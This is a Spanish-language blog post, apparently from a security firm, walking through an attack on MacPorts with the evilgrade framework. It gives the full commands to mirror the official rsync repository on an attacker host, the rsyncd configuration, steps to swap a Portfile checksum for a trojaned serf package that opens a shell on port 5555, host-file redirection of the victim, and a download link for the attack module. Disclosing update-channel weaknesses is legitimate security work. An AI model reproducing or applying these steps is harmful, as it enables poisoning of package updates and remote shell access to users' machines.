Pwning Mac OS X con evilgrade + MacPorts


La idea de este post es demostrar las fallas en la distribución de paquetes en el proyecto MacPorts para sistemas Mac OS X
A grandes rangos el port utiliza:
a) Para la actualización de su repositorio un servidor rsync
b) Los paquetes se distribuyen por http/ftp
c) Antes de instalar un nuevo paquete verifica el md5/sha1 del repositorio local con el nuevo archivo si es valido instala el paquete.
Para realizar el ataque debemos seguir las siguientes tareas:
1) Preparamos el servidor de rsync en el equipo atacante (192.168.10.133) con todo repositorio valido de rsync.macports.org:
mkdir -p /dev/evilgrade/release/ports
mkdir -p /dev/evilgrade/release/base
#Obtenemos la información necesaria
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/ports/ /dev/evilgrade/release/ports/
/usr/bin/rsync -rtzv --delete-after --exclude=/PortIndex* rsync://rsync.macports.org/release/base/ /dev/evilgrade/release/base/

2) Configuramos el archivo/etc/rsyncd.conf:

max connections = 20
log file = /var/log/rsync.log
timeout = 300
[release]
comment = Stuff
path = /dev/evilgrade/release/
read only = yes
list = yes
uid = nobody
gid = nogroup
# auth users = craig
# secrets file = /etc/rsyncd.secrets
hosts allow = 192.168.10.0/24 #cambiar por la subnet correspondiente.
3) Luego levantamos nuestro servidor /etc/init.d/rsync start
4) En este caso vamos a atacar el paquete serf dentro de la categoría www. La idea es que cuando instale este paquete nos deje una shell en el puerto 5555
Tenemos que editar en el repositorio el archivo/dev/evilgrade/release/ports/www/serf/Portfile y cambiar el checksums md5 por el hash de nuestro payload/agente que se encuentra en /evilgrade/agent/serf-0.7.2.tar.bz2
También se podría preparar este repositorio para que todos los Porfiles apunten a un mismo paquete con el mismo md5 con la cual cualquier instalación por port infectaría a la victima
Este agente tiene una línea (132) en el Makefile.in para dejar una shell en el 5555
4) En el equipo víctima (192.168.10.42) para esta prueba agregamos en el /etc/hosts las siguientes lineas o realizamos algún ataque de redireccionamiento de trafico:
192.168.10.133 serf.googlecode.com rsync.macports.org
5) Levantamos el evilgrade en el equipo atacante 192.168.10.133
6) En el equipo victima corremos un “sudo port selfupdate” y luego “sudo port install serf”

7) Verificamos que nuestro atacante este recibiendo el requerimiento por rsync leyendo el archive /var/log/rsync.log
y luego el request en evilgrade:
8) Por ultimo nos conectamos a nuestra shell
Para obtener este obtener el agent y modulo de MacPort bajar el siguiente paquete http://www.infobytesec.com/down/macportsevilgrade.tar.gz descomprimirlo en el raíz de evilgrade.
Recuerden mantener actualizados sus sistemas ;)
Post a Comment
Thanks for your comment